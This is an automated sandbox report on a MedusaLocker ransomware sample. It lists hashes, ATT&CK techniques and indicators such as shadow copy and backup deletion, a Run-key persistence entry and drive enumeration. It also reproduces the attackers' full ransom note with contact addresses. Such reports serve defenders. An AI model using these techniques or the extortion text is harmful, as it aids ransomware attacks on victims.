medusalocker | 9e0723c997227302cf234f9ae3888b0b18a4a1ec892ecab86aad3279ca455ee2

Resubmissions

14-12-2024 01:58

241214-cd5lpsspev 10

14-12-2024 01:33

241214-byxk6atrfq 10

Analysis

max time kernel
68s
max time network
69s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
14-12-2024 01:58

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
Size

422KB
MD5

a7b4ded56a745d078dfc02c6302d136e
SHA1

20b7e3930741e1ab3ab0f2f74617062b47fffbd8
SHA256

13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3
SHA512

0f3320c525141c3eea4ae28a199327f28784fa5f53f81b8abfeb2d5ae620286fdf1b60def07db8d256623f255f8ebd18c06b5880d423e58477686fb4cda79ea5
SSDEEP

6144:MTqhlztbElkd+s0zyykmkkES0J2txMLVesCjuwptsOXNZcX9PNCFR09KKPOeFhbb:RhDdkybr/J2tx2VeFusZXQJhkeFhbb

Score

10^/10

medusalocker defense_evasion discovery evasion execution impact persistence ransomware

Malware Config

Extracted

Path

C:\How_to_back_files.html

Family

medusalocker

Ransom Note

Your personal ID: x13cN5iNt5PfeWxobA7AuUbXb9PWBW9IpXrlJo99AmSmnh5Gmdtrf6vihfzGnu7oHvCQbZx8ncscBg+1p3TEOP1sseywEI8CH6lv1wA6PgMGgOaRE5JPtLvPQAS3OxrCYMqovUOysAZYN0uaqba3a3cg+LmMiitQslE+xCMGnFUH5oPuBhzZ0dMekhClxnJQT4hvKV96C5siZEcFkP05Gvi4e8Xevj5YiwHsnxxbztS9nf/uKDBNRro3Q2XUX+jYSF0gHTlKrSwtbSyPVXU0S+bFmhG9AlZa8kglvOQdMM1519ZNKh/WZkErLXBm2CXNeGuAx1hACdKCMsAU25FkX15XN90pSazD9JX/y3aUzl4LAlK4Ei5ul3WRrtXa2xeCKXzMHRnLYGeFpvA1JHNJs1FlplWF54TxAydlnq28y+tOfcPyNjVvRVKPn0rPwxxCL9RSQMboTSqJ4H+23mxsMwsIWuxpjc60U/KQm6pv3ModywHDeB2cFEaBId5E5o7z472Yj5cYucZRHaY6xz8ed3A+EnsBzg+x7iDchlZTSdkoS/+xDHODE8rQ6pp4u9CNjlgdaboRgvxdKSggbVOjqRvHhN5aHkeb7ItP94iEvz6xD4xeN89jJ2o0os7qIbq8/9OFwkVGC7oohDxCHVuJG/WJihSRDfD1K3KN/5lBBWs/25rSRCAgacs6GVSgbG+v+8gaTLKz6dLF3U/DRdTQxyAXof0QlxsOMOs18ucBcIXJ2UYuUbyv2iN8DkKBt0cznM9vjB1rVh1Vd2ikfA4kA8pf9GPsjxcKua47Ywed8/iaY00KVL0O6n55k7zj1I7XVYfVCWt3SumlZulrLdxXjNnDTsCb9abqqq8q8oe5GnnuM21t78kEr9iwDN6Wzm0miYDB+mGJ/R9Bb7zRrt1ZY3X+/MOw73UzrbYZCUiFDlbiwJf+oq/IasDLlVmtL6+5oWpl28w/LgX1JfzIyqdmLHk2e15sEf6u7QHp7l1NLvn1/dMkCJMSEY2jj4v/sOcJo1uVDlzZ3kT45C+23LeHeRtfVztXb1PMK+YifDEhYlJKqVcNBIgbGFKJsMDjr7yGfUlJMxDWNbaXuxWuJiXTnkduHdx+gH7giyJAcKYdgyu20hNnu5pfEn+pEf1G7FQv6t6f8ecL+BsjT8jwNihYnzOKw6+tgQSH4U8cHmtLdXbrki94KXqRi+aiuD+L5qV4E29DQJrKgf03qi7+gcG3LfUm6zgMCHIr5VQ8TVidfsscW7j49y3/IYO5FObHYNxZ3hUZM+vu+0KuRbYWhLeBuC08iOLjduf+wNA2FufhDEJ//x9G6C67MDwAZr+HZhw3kiXR1TZfeuwyaNAgoH46l1SYBiCedyH6RL8TxVJ4TXQa5YfSgeRSTYFURyM0Bo2QusNBqTGxgDic2zrBifcjbTyG3qUvLARYqi5X+6HKSRd39I3aYlHv4hpzCqzLJVRdBOshBTatUUlTYFut4dANOGZG7tnbt8R9adVBLPOoTCnoJfYy0GUXc2kG+GMtwFMbITbH1TZ5vu1OVpuJstwOhOiIL1ml/R/DGqz6RNfURXSbU/T2PdQtYFivIcjE2z+GRxl76irpvci6kYNt7tU3+y4wHU8ShOswhb1VfDiTkzS9uYfZ10hOvxJQLImp/djWPaV1nnTlnbcolwrXFO49xOPPMW9x+6mZOwCI1LvTS0A= /!\ YOUR COMPANY NETWORK HAS BEEN PENETRATED /!\ All your important files have been encrypted! Your files are safe! Only modified. (RSA+AES) ANY ATTEMPT TO RESTORE YOUR FILES WITH THIRD-PARTY SOFTWARE WILL PERMANENTLY CORRUPT IT. DO NOT MODIFY ENCRYPTED FILES. DO NOT RENAME ENCRYPTED FILES. No software available on internet can help you. We are the only ones able to solve your problem. We gathered highly confidential/personal data. These data are currently stored on a private server. This server will be immediately destroyed after your payment. If you decide to not pay, we will release your data to public or re-seller. So you can expect your data to be publicly available in the near future.. We only seek money and our goal is not to damage your reputation or prevent your business from running. You will can send us 2-3 non-important files and we will decrypt it for free to prove we are able to give your files back. Contact us for price and get decryption software. email: [email protected] [email protected] * To contact us, create a new free email account on the site: protonmail.com IF YOU DON'T CONTACT US WITHIN 72 HOURS, PRICE WILL BE HIGHER. * Tor-chat to always be in touch: qd7pcafncosqfqu3ha6fcx4h6sr7tzwagzpcdcnytiw3b6varaeqv5yd.onion

Emails

[email protected]

Signatures

MedusaLocker
Ransomware with several variants first seen in September 2019.
ransomware medusalocker
Medusalocker family
medusalocker

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 1648 created 3332	1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	52

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2484	bcdedit.exe
3124	bcdedit.exe

Renames multiple (167) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes System State backups 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1180	wbadmin.exe

Deletes system backups 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
4088	wbadmin.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2584844841-1405471295-1760131749-1000\Software\Microsoft\Windows\CurrentVersion\Run\BabyLockerKZ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe\""	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2584844841-1405471295-1760131749-1000\Software\Microsoft\Windows\CurrentVersion\Run\BabyLockerKZ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe\""	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe

Enumerates connected drives 3 TTPs 26 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\E:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
File opened (read-only)	\??\I:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
File opened (read-only)	\??\P:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
File opened (read-only)	\??\V:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
File opened (read-only)	\??\Y:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
File opened (read-only)	\??\A:	cipher.exe
File opened (read-only)	\??\A:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
File opened (read-only)	\??\T:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
File opened (read-only)	\??\F:	cipher.exe
File opened (read-only)	\??\W:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
File opened (read-only)	\??\B:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
File opened (read-only)	\??\G:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
File opened (read-only)	\??\J:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
File opened (read-only)	\??\N:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
File opened (read-only)	\??\Q:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
File opened (read-only)	\??\R:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
File opened (read-only)	\??\U:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
File opened (read-only)	\??\X:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
File opened (read-only)	\??\Z:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
File opened (read-only)	\??\F:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
File opened (read-only)	\??\H:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
File opened (read-only)	\??\K:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
File opened (read-only)	\??\L:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
File opened (read-only)	\??\M:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
File opened (read-only)	\??\O:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
File opened (read-only)	\??\S:	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.3.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.2.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.1.etl	wbadmin.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 30 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2704	vssadmin.exe

Kills process with taskkill 14 IoCs

evasion

pid	Process
4480	taskkill.exe
2624	taskkill.exe
468	taskkill.exe
2784	taskkill.exe
1912	taskkill.exe
1816	taskkill.exe
4464	taskkill.exe
1164	taskkill.exe
1076	taskkill.exe
3384	taskkill.exe
2032	taskkill.exe
3048	taskkill.exe
2108	taskkill.exe
876	taskkill.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe
1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
5648	msedge.exe
5648	msedge.exe
5648	msedge.exe
5648	msedge.exe
5648	msedge.exe
5648	msedge.exe

Suspicious use of AdjustPrivilegeToken 36 IoCs

description	pid	Process
Token: SeDebugPrivilege	1076	taskkill.exe
Token: SeDebugPrivilege	1912	taskkill.exe
Token: SeDebugPrivilege	3384	taskkill.exe
Token: SeDebugPrivilege	2108	taskkill.exe
Token: SeDebugPrivilege	2032	taskkill.exe
Token: SeDebugPrivilege	2624	taskkill.exe
Token: SeDebugPrivilege	1816	taskkill.exe
Token: SeDebugPrivilege	3048	taskkill.exe
Token: SeDebugPrivilege	468	taskkill.exe
Token: SeDebugPrivilege	876	taskkill.exe
Token: SeDebugPrivilege	2784	taskkill.exe
Token: SeDebugPrivilege	4464	taskkill.exe
Token: SeIncreaseQuotaPrivilege	2256	WMIC.exe
Token: SeSecurityPrivilege	2256	WMIC.exe
Token: SeTakeOwnershipPrivilege	2256	WMIC.exe
Token: SeLoadDriverPrivilege	2256	WMIC.exe
Token: SeSystemProfilePrivilege	2256	WMIC.exe
Token: SeSystemtimePrivilege	2256	WMIC.exe
Token: SeProfSingleProcessPrivilege	2256	WMIC.exe
Token: SeIncBasePriorityPrivilege	2256	WMIC.exe
Token: SeCreatePagefilePrivilege	2256	WMIC.exe
Token: SeBackupPrivilege	2256	WMIC.exe
Token: SeRestorePrivilege	2256	WMIC.exe
Token: SeShutdownPrivilege	2256	WMIC.exe
Token: SeDebugPrivilege	2256	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2256	WMIC.exe
Token: SeRemoteShutdownPrivilege	2256	WMIC.exe
Token: SeUndockPrivilege	2256	WMIC.exe
Token: SeManageVolumePrivilege	2256	WMIC.exe
Token: 33	2256	WMIC.exe
Token: 34	2256	WMIC.exe
Token: 35	2256	WMIC.exe
Token: 36	2256	WMIC.exe
Token: SeBackupPrivilege	1816	vssvc.exe
Token: SeRestorePrivilege	1816	vssvc.exe
Token: SeAuditPrivilege	1816	vssvc.exe

Suspicious use of FindShellTrayWindow 25 IoCs

pid	Process
5648	msedge.exe
5648	msedge.exe
5648	msedge.exe
5648	msedge.exe
5648	msedge.exe
5648	msedge.exe
5648	msedge.exe
5648	msedge.exe
5648	msedge.exe
5648	msedge.exe
5648	msedge.exe
5648	msedge.exe
5648	msedge.exe
5648	msedge.exe
5648	msedge.exe
5648	msedge.exe
5648	msedge.exe
5648	msedge.exe
5648	msedge.exe
5648	msedge.exe
5648	msedge.exe
5648	msedge.exe
5648	msedge.exe
5648	msedge.exe
5648	msedge.exe

Suspicious use of SendNotifyMessage 12 IoCs

pid	Process
5648	msedge.exe
5648	msedge.exe
5648	msedge.exe
5648	msedge.exe
5648	msedge.exe
5648	msedge.exe
5648	msedge.exe
5648	msedge.exe
5648	msedge.exe
5648	msedge.exe
5648	msedge.exe
5648	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1648 wrote to memory of 1240	1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	78
PID 1648 wrote to memory of 1240	1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	78
PID 1648 wrote to memory of 1240	1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	78
PID 1240 wrote to memory of 2988	1240	cmd.exe	80
PID 1240 wrote to memory of 2988	1240	cmd.exe	80
PID 1648 wrote to memory of 1256	1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	81
PID 1648 wrote to memory of 1256	1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	81
PID 1648 wrote to memory of 1256	1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	81
PID 1256 wrote to memory of 4892	1256	cmd.exe	83
PID 1256 wrote to memory of 4892	1256	cmd.exe	83
PID 4892 wrote to memory of 1076	4892	cmd.exe	84
PID 4892 wrote to memory of 1076	4892	cmd.exe	84
PID 1648 wrote to memory of 3392	1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	86
PID 1648 wrote to memory of 3392	1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	86
PID 1648 wrote to memory of 3392	1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	86
PID 3392 wrote to memory of 3096	3392	cmd.exe	88
PID 3392 wrote to memory of 3096	3392	cmd.exe	88
PID 3096 wrote to memory of 4480	3096	cmd.exe	89
PID 3096 wrote to memory of 4480	3096	cmd.exe	89
PID 1648 wrote to memory of 3168	1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	90
PID 1648 wrote to memory of 3168	1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	90
PID 1648 wrote to memory of 3168	1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	90
PID 3168 wrote to memory of 4996	3168	cmd.exe	92
PID 3168 wrote to memory of 4996	3168	cmd.exe	92
PID 4996 wrote to memory of 1912	4996	cmd.exe	93
PID 4996 wrote to memory of 1912	4996	cmd.exe	93
PID 1648 wrote to memory of 1492	1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	94
PID 1648 wrote to memory of 1492	1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	94
PID 1648 wrote to memory of 1492	1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	94
PID 1492 wrote to memory of 652	1492	cmd.exe	96
PID 1492 wrote to memory of 652	1492	cmd.exe	96
PID 652 wrote to memory of 3384	652	cmd.exe	97
PID 652 wrote to memory of 3384	652	cmd.exe	97
PID 1648 wrote to memory of 1500	1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	98
PID 1648 wrote to memory of 1500	1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	98
PID 1648 wrote to memory of 1500	1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	98
PID 1500 wrote to memory of 1184	1500	cmd.exe	100
PID 1500 wrote to memory of 1184	1500	cmd.exe	100
PID 1184 wrote to memory of 2108	1184	cmd.exe	101
PID 1184 wrote to memory of 2108	1184	cmd.exe	101
PID 1648 wrote to memory of 3276	1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	102
PID 1648 wrote to memory of 3276	1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	102
PID 1648 wrote to memory of 3276	1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	102
PID 3276 wrote to memory of 336	3276	cmd.exe	104
PID 3276 wrote to memory of 336	3276	cmd.exe	104
PID 336 wrote to memory of 2032	336	cmd.exe	105
PID 336 wrote to memory of 2032	336	cmd.exe	105
PID 1648 wrote to memory of 3300	1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	106
PID 1648 wrote to memory of 3300	1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	106
PID 1648 wrote to memory of 3300	1648	13d9213ef48c184747cdbcb8745d55d6ddb696b7afc85e88575812550f3d43f3.exe	106
PID 3300 wrote to memory of 3016	3300	cmd.exe	109
PID 3300 wrote to memory of 3016	3300	cmd.exe	109
PID 3016 wrote to memory of 2624	3016	cmd.exe	110
PID 3016 wrote to memory of 2624	3016	cmd.exe	110
